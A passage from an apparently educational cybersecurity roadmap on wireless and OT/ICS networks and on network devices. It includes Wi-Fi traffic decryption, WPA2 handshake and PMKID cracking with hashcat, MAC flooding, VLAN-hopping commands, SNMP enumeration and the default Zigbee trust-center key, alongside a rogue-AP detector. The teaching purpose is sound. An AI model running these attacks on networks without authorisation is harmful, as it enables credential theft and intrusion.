# Edit → Preferences → Protocols → IEEE 802.11
# Enable: "Enable decryption"
# Add: Decryption key — "wpa-pwd" type, "Password:SSID" format
# Example: "MyPassword123:CorpWiFi"

# Command line decryption with airdecap-ng:
airdecap-ng \
    -p "MyPassword123" \             # WPA2 password
    -e "CorpWiFi" \                  # SSID
    capture.cap                      # Input capture

# Decrypt WEP traffic:
airdecap-ng \
    -w 1A2B3C4D5E \                 # WEP key in hex
    capture.cap

# Extract HTTP credentials from decrypted capture:
tshark -r decrypted.cap \
    -Y "http.request.method == POST" \
    -T fields -e http.request.uri -e http.file_data

# Find all passwords in capture:
strings capture.cap | grep -E "password|passwd|pwd|pass" -i | head -20

# Analyse timeline of wireless events:
tshark -r capture.cap -T fields \
    -e frame.time \
    -e wlan.fc.type_subtype \
    -e wlan.sa \
    -e wlan.da \
    -Y "wlan.fc.type == 0" |        # Management frames only
    sort

12. Wireless in OT/ICS Environments

12.1 Industrial Wireless Technologies

Industrial wireless is fundamentally different from enterprise Wi-Fi in its requirements and therefore its security profile:

Industrial Wireless Technologies:

IEEE 802.11 (Standard Wi-Fi):
  Use: Engineering workstations, HMI tablets, operator interface
  Security: Should use WPA2-Enterprise or WPA3
  Risk: Same as enterprise wireless, plus physical security gaps

WirelessHART (IEC 62591):
  Purpose: Wireless sensor measurements (process variables: pressure, temperature, flow)
  Frequency: 2.4 GHz, IEEE 802.15.4 DSSS
  Topology: Mesh network, self-healing
  Security: AES-128 encryption, device authentication via join keys
  Range: 50-200m per hop, mesh extends to kilometre scale
  OT use: Field sensor data without wiring (common in oil/gas, chemical)

ISA100.11a (IEC 62734):
  Purpose: Similar to WirelessHART — industrial sensor networking
  Frequency: 2.4 GHz
  Security: AES-128, PKI-based device certificates

Zigbee (IEEE 802.15.4):
  Purpose: Building automation, smart energy, industrial monitoring
  Frequency: 2.4 GHz (also 868/915 MHz)
  Topology: Star, tree, mesh
  Security: AES-128 (but poor key management in many deployments)
  Range: 10-100m

PROFIBUS Wireless (proprietary):
  Some vendors offer wireless extensions to PROFIBUS
  Typically 2.4 or 5 GHz
  Security: varies by vendor, often minimal

Bluetooth (IEEE 802.15.1):
  Use: Field device configuration (HART, PROFIBUS parameter setting)
  Range: typically <10m for Class 2
  Security: pairing-based (vulnerable to BlueBorne if unpatched)

12.2 OT Wireless Security Challenges

Challenge 1: Air-Gap Expectation vs Reality
  Many OT networks are assumed to be air-gapped (no wireless)
  Reality: wireless is often present:
    - Engineering workstations connected to corporate WiFi
    - Vendor-installed wireless for remote monitoring
    - Employee hotspots
    - Wireless sensors added "temporarily"

  Assessment action: Always scan for wireless in OT environments
  Even "air-gapped" environments should be surveyed

Challenge 2: Legacy Protocol Security
  WirelessHART: AES-128 correctly implemented — acceptable
  Zigbee: AES-128 but key management often broken:
    Default install keys well-known
    Key transport often in cleartext
    Many deployments use same global link key across all devices

Challenge 3: Update-Resistant Hardware
  Industrial wireless gateways and access points:
    Long lifecycles (10-20 years)
    Vendor must validate firmware before deployment
    Emergency patches rare
    Known vulnerabilities may remain unpatched for years

Challenge 4: Physical Exposure
  Field sensors in remote locations
  Wireless gateway in unsecured enclosures
  Physical access → firmware extraction, configuration modification

Challenge 5: Channel Interference
  Industrial equipment generates RF interference (motor drives, welders)
  Interference patterns can affect wireless reliability
  Attackers can use interference as DoS against wireless sensors

12.3 OT Wireless Security Controls

NERC CIP (Energy Sector) wireless requirements:
  CIP-005-6: Electronic Security Perimeter must include wireless
  Access points that connect to BES Cyber Systems must be protected
  Wireless access = electronic access point requiring controls

IEC 62443 wireless guidance:
  Zone and conduit model applies to wireless
  Wireless sensors in a zone: must be protected at zone boundary
  Wireless AP: acts as conduit between zones

Practical OT wireless controls:

1. Network Segmentation:
   OT wireless AP should NOT directly connect to process network
   OT wireless → DMZ → [Firewall] → Process Network
   Sensor data: one-way data flow from wireless network to process network

2. Wireless Sensor Security:
   WirelessHART: deploy with unique join keys per device (not default)
   Zigbee: use unique link keys, disable trust center link key sharing
   Rotate keys periodically

3. Employee WiFi:
   Separate SSID/VLAN for engineering workstations
   No direct routing to process control network
   All access through jump server in DMZ

4. Wireless Survey:
   Quarterly RF survey to detect rogue APs
   Survey from outside the facility (what's visible externally?)
   Document all authorised wireless assets

5. Physical Security:
   Wireless field devices in lockable enclosures
   Wireless APs in secured locations or in tamper-evident enclosures
   GPS tracking on mobile wireless devices

# OT wireless security assessment:

# 1. Survey wireless landscape (from outside building if possible):
# Long-range adapter + directional antenna:
sudo airodump-ng --band abg wlan0mon > /tmp/wireless_inventory.txt

# 2. Identify industrial wireless (2.4 GHz mesh characteristics):
# WirelessHART: looks for 802.15.4 traffic (requires SDR or specialised adapter)
# Standard 802.11 survey won't see Zigbee/WirelessHART directly

# 3. Check for OT SSIDs that shouldn't be wireless:
grep -iE "scada|plc|ot|control|historian|hmi" /tmp/wireless_inventory.txt

# 4. Check Zigbee networks (requires 802.15.4 capable hardware):
# KillerBee framework for Zigbee analysis:
# sudo apt install killerbee
# zbstumbler                      # Discover Zigbee networks
# zbdump -c 11 -w zigbee.pcap    # Capture on channel 11

# 5. Verify no OT wireless connects directly to process network:
# Check routing tables of hosts connected to OT wireless
# Verify firewall rules between wireless VLAN and process VLAN

# 6. Check for default Zigbee keys:
# Default ZigBee trust center link key:
# 5A6967426565416C6C69616E63653039 (hex)
# "ZigBeeAlliance09" (ASCII)
# If this key is in use: all traffic can be decrypted

13. Hands-On Exercises

Exercise 1: Wireless Network Survey (30 minutes)

# Complete wireless environment mapping

# Setup:
sudo apt install aircrack-ng kismet wireshark -y

# Step 1: Enable monitor mode
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# Note your interface name (wlan0mon or similar)

# Step 2: Full survey
sudo airodump-ng --manufacturer wlan0mon 2>/dev/null | tee /tmp/survey.txt &
sleep 30
kill %1

# Step 3: Analyse results
echo "=== Access Points Found ==="
cat /tmp/survey.txt | head -30

# Step 4: Categorise by security
echo ""
echo "=== Open Networks (no encryption) ==="
grep "OPN" /tmp/survey.txt

echo ""
echo "=== WEP Networks (broken) ==="
grep " WEP " /tmp/survey.txt

echo ""
echo "=== WPA Networks (deprecated) ==="
grep " WPA " /tmp/survey.txt | grep -v WPA2

echo ""
echo "=== WPA2 Networks ==="
grep "WPA2" /tmp/survey.txt

# Step 5: Check for WPS-enabled networks:
sudo wash -i wlan0mon 2>/dev/null &
sleep 20
kill %1

Exercise 2: Wireless Password Security Test (on your own network)

# Test your own network's WPA2 password strength

# IMPORTANT: Only do this on networks you own or have explicit permission to test

# Step 1: Capture handshake from your own AP
sudo airodump-ng \
    --bssid YOUR_AP_BSSID \
    --channel YOUR_CHANNEL \
    -w /tmp/my_network \
    wlan0mon &

# Connect a device to your network (generates handshake)
sleep 30
kill %1

# Step 2: Convert to hashcat format
hcxpcapngtool -o /tmp/my_hash.hc22000 /tmp/my_network-01.cap

# Step 3: Test against common passwords
hashcat -m 22000 /tmp/my_hash.hc22000 /usr/share/wordlists/rockyou.txt \
    --quiet

# If cracked: your password is too weak
# If not cracked from rockyou: try rules:
hashcat -m 22000 /tmp/my_hash.hc22000 /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule --quiet

# Recommended minimum: 20+ character random password
# or 6+ word passphrase (e.g., "correct-horse-battery-staple-wifi-2024!")

# PMKID attack (no clients needed):
hcxdumptool -i wlan0mon -o /tmp/pmkid.pcapng --enable_status=1 &
sleep 60
kill %1

hcxpcapngtool -o /tmp/pmkid_hash.hc22000 /tmp/pmkid.pcapng
hashcat -m 22000 /tmp/pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt

Exercise 3: Build a Wireless Monitor System (45 minutes)

# Build a passive wireless monitoring system using Kismet

# Install Kismet:
sudo apt install kismet -y

# Configure:
sudo cat > /etc/kismet/kismet_site.conf << 'EOF'
# Monitor interface
source=wlan0

# Log settings
log_prefix=/tmp/kismet_logs
log_types=kismet,pcapng

# Alert on new APs (possible rogue):
alert=NEWAP,alert,1/sec,10/min
# Alert on probe requests (clients looking for networks):
alert=PROBEREQ,info,10/sec,100/min
EOF

# Run Kismet:
sudo kismet -c wlan0 --log-prefix /tmp/kismet

# Access Kismet web interface:
# http://localhost:2501 (default)
# Default credentials set on first run

# Generate analysis report:
python3 << 'EOF'
import json, glob

# Find Kismet JSON exports
for f in glob.glob('/tmp/kismet*.kismet'):
    try:
        with open(f) as fp:
            data = json.load(fp)
        print(f"Networks found: {len(data.get('dot11.device', []))}")
    except:
        print(f"Could not parse {f}")

print("\nManually review Kismet web interface for:")
print("  - All detected APs and their properties")
print("  - Client probe requests (PNL enumeration)")
print("  - Alert events (deauth, suspicious activity)")
print("  - Signal strength and location data")
EOF

Exercise 4: Detect Wireless Attacks (30 minutes)

# Create detection rules for common wireless attacks

cat > /tmp/detect_wireless.py << 'EOF'
#!/usr/bin/env python3
"""
Wireless Attack Detector using Scapy
Detects: Deauth floods, Probe Request enumeration, Rogue AP indicators
"""
from scapy.all import *
from collections import defaultdict
import time

# Counters
deauth_count = defaultdict(int)
probe_requests = defaultdict(set)
seen_bssids = {}

# AUTHORISED APs — fill with your known APs
AUTHORISED_APS = {
    "AA:BB:CC:DD:EE:FF": "HomeNetwork",
    # Add your known BSSIDs
}

THRESHOLD_DEAUTH = 10    # Deauths per 10 seconds = alert
THRESHOLD_PROBES = 5     # SSIDs probed by single client = alert

def process_packet(pkt):
    current_time = time.time()

    # Deauthentication detection
    if pkt.haslayer(Dot11Deauth):
        src = pkt.addr2
        dst = pkt.addr1
        deauth_count[src] += 1

        if deauth_count[src] > THRESHOLD_DEAUTH:
            print(f"[ALERT] DEAUTH FLOOD: {src} → {dst} ({deauth_count[src]} frames)")
            deauth_count[src] = 0  # Reset counter

    # Probe Request monitoring (PNL enumeration)
    if pkt.haslayer(Dot11ProbeReq):
        client = pkt.addr2
        ssid = pkt.info.decode('utf-8', errors='ignore')
        if ssid:
            probe_requests[client].add(ssid)
            if len(probe_requests[client]) > THRESHOLD_PROBES:
                print(f"[INFO] CLIENT {client} probing {len(probe_requests[client])} networks:")
                for s in probe_requests[client]:
                    print(f"       - {s}")

    # Rogue AP detection
    if pkt.haslayer(Dot11Beacon):
        bssid = pkt.addr3
        try:
            ssid = pkt.info.decode('utf-8', errors='ignore')
        except:
            ssid = "unknown"

        if bssid not in seen_bssids:
            seen_bssids[bssid] = ssid
            if bssid not in AUTHORISED_APS:
                print(f"[NEW] Access Point: {bssid} SSID: '{ssid}'")
                # Check if SSID matches known SSID but BSSID is different:
                for auth_bssid, auth_ssid in AUTHORISED_APS.items():
                    if ssid == auth_ssid:
                        print(f"[ALERT] POSSIBLE ROGUE AP: '{ssid}' advertised by unauthorised BSSID {bssid}")

print("Starting wireless attack detection...")
print("Press Ctrl+C to stop")
print("Authorised APs:", AUTHORISED_APS)
print("")

# Requires monitor mode interface
sniff(iface="wlan0mon", prn=process_packet, store=0)
EOF

sudo python3 /tmp/detect_wireless.py

14. Module Summary

Concept	Core Mechanism	Primary Attack	Key Defence	OT/ICS Relevance
802.11 Standards	Radio modulation, MIMO, channel bonding	Match standard to expected protocol → identify WEP/WPA2 target	Latest standard (WPA3) + firmware updates	Legacy OT devices often 802.11b/g with WEP
2.4 GHz	Long range, high penetration, 3 non-overlap channels	Greater attack standoff distance, more interference	Minimise use for sensitive traffic	Dominant in industrial wireless sensors
5 GHz	Medium range, less interference, more channels	More channels = harder complete monitoring	Preferred for security-sensitive wireless	Engineering workstation access
6 GHz	Short range, WPA3 mandatory, 59 non-overlap channels	Limited attacker range	WPA3 required → eliminates WPA2 attacks	Emerging in modern OT infrastructure
SSID	Human-readable network name, broadcast in beacons	Spoofing (any AP can claim any SSID)	802.1X enterprise auth (not SSID-dependent)	OT SSIDs reveal network structure
BSSID	MAC address of AP radio, spoofable in software	MAC spoofing for evil twin	WIDS monitoring known BSSID list	Identifying rogue APs in OT zones
WEP	RC4 + 24-bit IV, broken since 2001	Aircrack-ng — cracked in <60 seconds	ELIMINATE immediately	Still found on legacy OT devices
WPA	TKIP/RC4, interim fix for WEP	Chop-chop, TKIP attacks	Upgrade to WPA2/WPA3	Deprecated — eliminate
WPA2-PSK	4-way handshake, PMKID, PBKDF2 password	Handshake capture + offline GPU crack, PMKID	Long random passwords (25+char), upgrade to WPA3	Common in industrial environments
WPA2-Enterprise	802.1X RADIUS, EAP types	Evil twin + rogue RADIUS, MSCHAPv2 crack	Certificate validation by supplicant, EAP-TLS	Jump server/HMI authentication
WPA3	SAE/Dragonfly, forward secrecy	Downgrade to WPA2 in transition mode, implementation bugs (Dragonblood)	WPA3-only mode, no WPA2 fallback	Recommended for new OT deployments
Rogue AP	Unauthorised AP connected to network	Physical access + Ethernet port connection	802.1X on all switch ports, wireless survey	OT environment persistent rogue threat
Evil Twin	AP mimicking legitimate network SSID	Client auto-connect → MITM → credential capture	802.1X enterprise auth, certificate validation, VPN kill switch	Engineering workstation attack vector
Deauth Attack	Forged management frames	Force client reconnection for handshake capture, DoS	802.11w (Protected Management Frames), WPA3	OT wireless sensor disruption risk
WPS PIN	8-digit PIN split authentication	Reaver: 11,000 guesses max, Pixie Dust: seconds	Disable WPS entirely	OT APs should have WPS disabled
KRACK	4-way handshake nonce reuse via message replay	Decrypt WPA2 traffic	OS patches (2017-2018), WPA3	Unpatched OT systems still vulnerable
WirelessHART	IEEE 802.15.4, AES-128 mesh	Default join keys, eavesdropping	Unique per-device join keys, key rotation	Primary OT sensor networking technology
Zigbee	IEEE 802.15.4, AES-128 with poor key management	Default trust center key, network key extraction	Unique link keys, disable trust center link key	Building automation, some industrial

Next Module: Stage 1.8 — Network Analysis Tools

Previous Module: Stage 1.6 — Network Devices

Series Index: Full Roadmap

Stage 1.6 — Network Devices

Rençber AKMAN — Sat, 06 Jun 2026 06:03:34 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 1 — Network Fundamentals

Module: 1.6 — Network Devices

Level: Beginner → Advanced

Prerequisites: Stage 1.5 — Core Protocols

Next Module: 1.7 — Wireless Networks

Why Network Devices Are Both the Shield and the Target
Hub, Switch, and Router — The Foundational Triad
Layer 2 vs Layer 3 Switch
Firewall Types — Packet Filter to NGFW
IDS and IPS — Detection and Prevention
Proxy Servers
Load Balancers
VPN Gateways
WAF — Web Application Firewall
Modem vs Router
Network Device Security — Cross-Cutting Concerns
Network Devices in OT/ICS Environments
Hands-On Exercises
Module Summary

1. Why Network Devices Are Both the Shield and the Target

Every security control you deploy lives in a network device. Every firewall rule, every IDS signature, every VPN tunnel — they all depend on hardware and software that can itself be compromised, misconfigured, or bypassed. This dual nature — network devices as both defenders and targets — defines one of the most important and underappreciated attack surfaces in cybersecurity.

Concrete attacks on network devices:

Cisco Smart Install Exploitation (2018): The Cisco Smart Install protocol (TCP 4786), designed for zero-touch switch deployment, was left enabled on tens of thousands of internet-facing switches worldwide. The Talos Intelligence group documented a mass exploitation campaign where threat actors — including state-sponsored groups — scanned the entire internet for port 4786 and extracted running configurations from every vulnerable switch they found. Router configurations contain: all network topology, VLAN structure, access control lists, SNMP community strings, VPN credentials, and sometimes cleartext enable passwords. One protocol, left enabled by default, exposed the complete network architecture of thousands of organisations.

SolarWinds SUNBURST (2020): While not purely a network device attack, SUNBURST exploited network monitoring infrastructure (SolarWinds Orion) to move laterally. The lesson: the management plane of network devices — the systems used to monitor and configure them — is as critical as the devices themselves.

F5 BIG-IP Vulnerability (CVE-2020-5902): CVSS 10.0. The management interface of F5's load balancer/application delivery controller had an unauthenticated remote code execution vulnerability. Thousands of organisations use F5 BIG-IP to terminate TLS, balance traffic, and enforce WAF policies. Compromising it meant: decrypting all HTTPS traffic, bypassing all WAF rules, and gaining a position to intercept or modify all traffic through the device.

For OT/ICS: Industrial network switches are the backbone of substation automation, manufacturing floor networks, and SCADA architectures. Unmanaged switches cannot enforce VLANs. Managed switches with default SNMP community strings expose the entire OT topology. Firewalls between IT and OT with permissive rules are the reason Colonial Pipeline's operational network was affected by a ransomware attack that started in the corporate IT network.

The security mindset for this module: Network devices are not passive infrastructure. They are active security controls that are themselves attack targets. Understanding how they work is prerequisite to understanding how they fail.

2. Hub, Switch, and Router — The Foundational Triad

2.1 Hub — The Obsolete Broadcast Device

A hub is a Layer 1 (Physical Layer) device. It does no processing — it simply repeats every signal it receives on all ports simultaneously. Every device connected to a hub receives every frame sent by every other device.

HUB OPERATION:
                    ┌─────────────┐
PC-A sends frame → │     HUB     │ → All ports receive the frame
                   │             │
              ┌────┤  Port 1     ├────→ PC-A (sender, ignores)
              │    │  Port 2     ├────→ PC-B (receives)
              │    │  Port 3     ├────→ PC-C (receives)
              │    │  Port 4     ├────→ PC-D (receives)
              └────┤             │
                   └─────────────┘

Collision domain: ALL ports share one collision domain
Bandwidth: Shared among ALL devices (10 Mbps hub = 10 Mbps TOTAL)

Why hubs matter for security:
Hubs are functionally equivalent to having all network cables bundled together. Any NIC in promiscuous mode captures all traffic — including credentials from FTP, Telnet, HTTP, SMTP, and any other cleartext protocol. Wireshark on any hub-connected machine captures everything.

Hubs are largely extinct in enterprise IT but still present in some legacy OT environments — particularly older manufacturing floor networks and some building automation systems installed before managed switches became affordable.

Security implication of finding a hub:
If you find a hub during an OT assessment, any device connected to it can perform passive sniffing of all network traffic — including industrial protocol commands, HMI-to-PLC communications, and any cleartext credentials exchanged on that segment.

2.2 Switch — The Intelligent Frame Forwarder

A switch is a Layer 2 (Data Link Layer) device. Unlike a hub, a switch learns which MAC address is connected to which port and forwards frames only to the intended destination port.

SWITCH OPERATION:

MAC Address Table (CAM Table):
┌──────────────────┬──────┐
│ MAC Address      │ Port │
├──────────────────┼──────┤
│ AA:BB:CC:DD:EE:1 │  1   │ ← PC-A
│ AA:BB:CC:DD:EE:2 │  2   │ ← PC-B
│ AA:BB:CC:DD:EE:3 │  3   │ ← PC-C
│ AA:BB:CC:DD:EE:4 │  4   │ ← PC-D
└──────────────────┴──────┘

PC-A sends frame to PC-C:
  Switch looks up destination MAC → Port 3
  Frame forwarded ONLY to Port 3
  PC-B and PC-D receive nothing

First packet to unknown MAC:
  Switch floods to all ports (unknown unicast flooding)
  Learns source MAC from response → updates CAM table

Switch Security Features:

Port Security:
  Limits which MAC addresses can communicate on each port
  Maximum MAC addresses per port (default: 1)
  Violations: protect (drop), restrict (drop + log), shutdown (err-disable port)

  Cisco configuration:
  interface GigabitEthernet0/1
   switchport mode access
   switchport port-security maximum 2
   switchport port-security violation restrict
   switchport port-security mac-address sticky    ← learn and remember MACs automatically
   switchport port-security

802.1X Port Authentication:
  Device must authenticate BEFORE receiving network access
  Authentication via RADIUS server
  EAP (Extensible Authentication Protocol) variants: EAP-TLS, PEAP
  Prevents rogue device connection to physical port

  Cisco: dot1x system-auth-control
         interface gi0/1: dot1x port-control auto

DHCP Snooping:
  Validates DHCP packets against trusted/untrusted port designation
  Only uplinks to legitimate DHCP server are "trusted"
  Drops DHCP OFFER/ACK from untrusted ports (blocks rogue DHCP)
  Builds binding table: {IP, MAC, port, VLAN}

Dynamic ARP Inspection (DAI):
  Validates ARP packets against DHCP snooping binding table
  Drops ARP packets where IP-MAC doesn't match binding table
  Prevents ARP poisoning/spoofing

Storm Control:
  Rate-limits broadcast, multicast, unknown unicast traffic
  Prevents broadcast storms from overwhelming network
  Mitigates some DoS attacks

Private VLANs:
  Isolated ports: can only communicate with promiscuous port (uplink)
  Community ports: communicate with each other and promiscuous port
  Use case: hotel rooms, guest WiFi — clients cannot attack each other

Switch Attack Techniques:

# MAC Flooding — overflow CAM table, force hub behaviour:
sudo macof -i eth0                     # macof from dsniff package
# Generates ~155,000 frames/second with random MACs
# CAM table fills → switch floods all traffic → passive sniffing possible
# Modern switches: storm control, port security prevent this

# VLAN Hopping — access restricted VLANs:
# Method 1: DTP negotiation (if port is in dynamic mode)
# Yersinia: yersinia -G → DTP attacks → Enable trunking
sudo yersinia dtp -attack 1           # Send DTP frames to negotiate trunk

# Method 2: Double tagging (attacker on native VLAN)
# Requires: attacker is on native VLAN of a trunk port
# Frame: [Outer Tag: native VLAN][Inner Tag: target VLAN][payload]
# Tools: scapy to craft double-tagged frames

# Detection:
# Unusual trunk negotiations from access ports
# Multiple VLANs appearing on access ports
# switch log: %DTP-5-TRUNKPORTON — unexpected trunk negotiation

# View CAM table remotely (if SNMP community known):
snmpwalk -v2c -c public switch_ip 1.3.6.1.2.1.17.7.1.2.2
# Returns: VLAN, MAC address, port number — full MAC table

2.3 Router — The Inter-Network Forwarder

A router is a Layer 3 (Network Layer) device. It forwards packets between different networks based on IP destination addresses and a routing table.

ROUTER OPERATION:

                Network A (192.168.1.0/24)         Network B (10.0.0.0/8)
                        │                                   │
PC: 192.168.1.5 ───────┤                                   ├─── Server: 10.0.0.1
                        │     ROUTER                        │
                        │  ┌──────────────────────┐         │
                        └──┤ eth0: 192.168.1.1/24  │         │
                           │ eth1: 10.0.0.254/8   ├─────────┘
                           │                       │
                           │  Routing Table:       │
                           │  10.0.0.0/8 → eth1   │
                           │  192.168.1.0/24 → eth0│
                           │  0.0.0.0/0 → ISP      │
                           └──────────────────────┘

Packet from 192.168.1.5 to 10.0.0.1:
  1. Arrives on eth0 (L2 stripped)
  2. Router checks: destination 10.0.0.1 → matches 10.0.0.0/8 → eth1
  3. Router decrements TTL (64 → 63)
  4. Router performs ARP for 10.0.0.1 (or next-hop)
  5. Creates new L2 frame with router's MAC as source
  6. Forwards out eth1

Hub vs Switch vs Router Comparison:

Characteristic    Hub              Switch           Router
─────────────────────────────────────────────────────────────────────────
OSI Layer         1 (Physical)     2 (Data Link)    3 (Network)
Addressing        None             MAC addresses    IP addresses
Forwarding        All ports        Destination port  Next hop (routing table)
Broadcast domain  Shared           Shared           Separate per interface
Collision domain  Shared           Per port         Per interface
Traffic isolation None             Per port         Per network
Sniffing risk     Any connected    Requires MITM    Between networks only
Speed             Shared           Full duplex      Dependent on routing
Security features None             Port security,   ACLs, routing policy
                                   802.1X, DAI      
OT presence       Legacy (risk)    Dominant         Zone boundary

Key Insight: Switches replaced hubs specifically because hub behaviour — flooding all traffic to all ports — is a passive sniffing vulnerability by design. But switches are not immune: MAC flooding reverts switch behaviour to hub behaviour. The presence of an unmanaged switch (one that cannot enforce port security or DHCP snooping) in a security-sensitive environment has security implications equivalent to a hub.

3. Layer 2 vs Layer 3 Switch

3.1 The Distinction

Layer 2 Switch: Forwards frames based purely on MAC addresses. Cannot route between subnets. All ports are in the same routing domain — inter-VLAN communication requires an external router.

Layer 3 Switch (Multilayer Switch): Has the forwarding capability of a Layer 2 switch PLUS routing capability. Can route between VLANs internally using a routing engine. Faster than using a separate router for inter-VLAN traffic because routing is done in ASIC hardware rather than software.

INTER-VLAN ROUTING COMPARISON:

Router-on-a-Stick (L2 Switch + External Router):
  ┌─────────┐  trunk  ┌─────────┐
  │  L2 SW  ├─────────┤ Router  │
  │ VLAN 10 │         │ 10.0.0.1│  (sub-interfaces per VLAN)
  │ VLAN 20 │         │ 20.0.0.1│
  └─────────┘         └─────────┘
  All inter-VLAN traffic must traverse router link
  Bottleneck: single physical link, router CPU

Layer 3 Switch (SVIs — Switched Virtual Interfaces):
  ┌──────────────────────┐
  │     L3 SWITCH        │
  │ SVI VLAN10: 10.0.0.1 │  ← Virtual interface for VLAN 10
  │ SVI VLAN20: 20.0.0.1 │  ← Virtual interface for VLAN 20
  │                      │
  │ Internal routing at  │
  │ hardware speed       │
  └──────────────────────┘
  Inter-VLAN routing: wire-speed (Gbps)
  No bottleneck: routing in silicon

3.2 Security Implications of L3 Switches

ACLs on L3 switches vs firewalls:

L3 switches can enforce ACLs (Access Control Lists) at line rate. This makes them valuable for:

Blocking traffic between VLANs (even when routing between them)
Rate-limiting specific traffic types
Dropping known malicious traffic at the distribution layer

However, L3 switch ACLs are NOT a substitute for firewalls:

No stateful inspection (cannot track TCP connection state)
No application awareness
No deep packet inspection
No logging as sophisticated as dedicated firewalls
No NAT capability typically

# View L3 switch routing table (Cisco IOS):
show ip route                          # Full routing table
show ip route summary                  # Summary with counts
show ip route 10.10.2.0               # Route to specific network

# View SVIs (switched virtual interfaces):
show interfaces vlan 10               # Status of VLAN 10 SVI
show ip interface brief | include Vlan  # All SVIs and their IPs

# ACL on L3 switch:
# Create ACL:
ip access-list extended BLOCK_USERS_TO_OT
 deny ip 10.10.1.0 0.0.0.255 10.20.0.0 0.0.0.255  # Block users → OT
 permit ip any any

# Apply to SVI (inbound on User VLAN):
interface Vlan10
 ip access-group BLOCK_USERS_TO_OT in

# Verify ACL:
show ip access-lists BLOCK_USERS_TO_OT
show interfaces vlan10 | include access list

# Monitor ACL hits:
show ip access-lists BLOCK_USERS_TO_OT
# "matches" count increases when traffic hits the rule

L3 Switches in OT Environments:

Many industrial network designs use a single L3 switch as both the distribution switch AND the router between zones. This simplifies hardware but concentrates security risk:

One device compromise → routing control for all zones
ACLs on the L3 switch may be the only segmentation between OT zones
L3 switch firmware vulnerabilities affect routing security directly

Key Insight: A Layer 3 switch is a router built into a switch. The routing decisions happen in hardware (ASIC) rather than software, making inter-VLAN routing 10-100× faster than a software router. In security architecture, L3 switches provide efficient inter-VLAN routing with ACL enforcement but cannot replace firewalls for stateful inspection and application-layer control.

4. Firewall Types — Packet Filter to NGFW

4.1 Firewall Evolution

Firewalls have evolved through five generations, each adding capability — and attack surface. Understanding each generation explains why modern firewalls are complex and why older configurations leave gaps.

4.2 Generation 1 — Packet Filter (Stateless)

The original firewall. Examines each packet independently against a ruleset. Makes decisions based on:

Source IP address
Destination IP address
Source port
Destination port
Protocol (TCP/UDP/ICMP)

Packet Filter Rule Example (iptables):
iptables -A INPUT -s 0.0.0.0/0 -d 192.168.1.100 -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -j DROP

# This rule:
# -A INPUT: append to INPUT chain
# -s 0.0.0.0/0: from any source
# -d 192.168.1.100: to this specific destination
# -p tcp: TCP protocol
# --dport 80: destination port 80 (HTTP)
# -j ACCEPT: allow the packet

Fundamental Weakness — No State:

A packet filter sees each packet in isolation. It cannot distinguish between:

A TCP SYN starting a new connection (legitimate)
A TCP ACK with no corresponding SYN (forged packet)
A response to an established connection vs an unsolicited packet

ACK Scan bypass: If the firewall allows TCP port 80 inbound:

A legitimate SYN to port 80 → ALLOWED ✓ (starts HTTP connection)
An attacker's ACK to port 80 → ALSO ALLOWED (firewall sees allowed port, can't check if connection established)
The TCP stack on the target will RST the ACK, but the attacker now knows the host responds

4.3 Generation 2 — Stateful Inspection

Stateful firewalls track the state of network connections in a state table. They remember which connections have been established and allow only packets that match an existing connection state.

Connection State Table:
┌──────────────────┬─────────────────┬──────────┬───────────┬──────────┐
│ Src IP:Port      │ Dst IP:Port     │ Protocol │ State     │ Timeout  │
├──────────────────┼─────────────────┼──────────┼───────────┼──────────┤
│ 192.168.1.5:54321│ 8.8.8.8:53      │ UDP      │ RELATED   │ 30s      │
│ 192.168.1.10:49000│ 93.184.216.34:80│ TCP     │ ESTABLISHED│ 3600s   │
│ 10.0.0.1:51234  │ 192.168.1.100:22│ TCP      │ ESTABLISHED│ 3600s   │
└──────────────────┴─────────────────┴──────────┴───────────┴──────────┘

Inbound packet: 8.8.8.8:53 → 192.168.1.5:54321 (DNS response)
  Firewall checks state table → finds matching entry → ALLOW (response to existing connection)

Inbound packet: 1.2.3.4:4444 → 192.168.1.5:54321 (unsolicited)
  Firewall checks state table → no matching entry → DROP

Stateful Firewall Limitations:

No application awareness (allowed port 80 traffic can carry any application data)
State table exhaustion attacks: send many half-open connections to fill state table
Long-lived UDP connections: UDP is stateless, firewall must infer "connection" from traffic patterns
Application layer attacks invisible (SQLi, XSS, malware in HTTP payload)

4.4 Generation 3 — Application Layer Gateway (ALG)

Application-aware firewalls understand specific protocols and can inspect application layer content. Examples:

FTP ALG: understands PORT/PASV commands, opens dynamic ports for data connections
SIP ALG: understands VoIP signalling, tracks call state
DNS ALG: inspects DNS responses for anomalies

ALGs introduce their own vulnerabilities — FTP ALG bugs have been exploited to traverse firewalls.

4.5 Generation 4 — Next-Generation Firewall (NGFW)

NGFW (term coined by Palo Alto Networks, 2007) combines:

NGFW Capabilities:
┌────────────────────────────────────────────────────────────────────┐
│  Application Identification (App-ID)                               │
│  Identifies application regardless of port (Facebook over TCP 80)  │
│  Policy: Allow web browsing, block BitTorrent, even on same port   │
├────────────────────────────────────────────────────────────────────┤
│  User Identification (User-ID)                                     │
│  Ties traffic to specific users (via AD/LDAP integration)          │
│  Policy: "Allow IT staff to use SSH, block other users"            │
├────────────────────────────────────────────────────────────────────┤
│  SSL/TLS Inspection                                                │
│  Decrypts HTTPS traffic, inspects content, re-encrypts            │
│  Detects malware and data exfiltration in encrypted traffic        │
│  Privacy consideration: firewall sees all decrypted content        │
├────────────────────────────────────────────────────────────────────┤
│  Intrusion Prevention System (IPS)                                 │
│  Signature-based and behavioural threat detection                  │
│  Can block exploits, malware C2 traffic                            │
├────────────────────────────────────────────────────────────────────┤
│  URL Filtering / Web Categories                                    │
│  Block access to malicious, inappropriate, or prohibited sites     │
├────────────────────────────────────────────────────────────────────┤
│  Threat Intelligence Integration                                   │
│  Block known malicious IPs/domains from threat feed               │
├────────────────────────────────────────────────────────────────────┤
│  Sandboxing                                                        │
│  Execute suspicious files in isolated environment, detect malware  │
└────────────────────────────────────────────────────────────────────┘

NGFW Vulnerabilities — The High-Value Target:

Because NGFWs sit inline with all traffic and have TLS decryption keys, they are extremely high-value attack targets.

CVE-2024-3400 (Palo Alto PAN-OS, April 2024):
  CVSS: 10.0 — Critical
  Component: GlobalProtect gateway (VPN)
  Impact: Unauthenticated Remote Code Execution as root
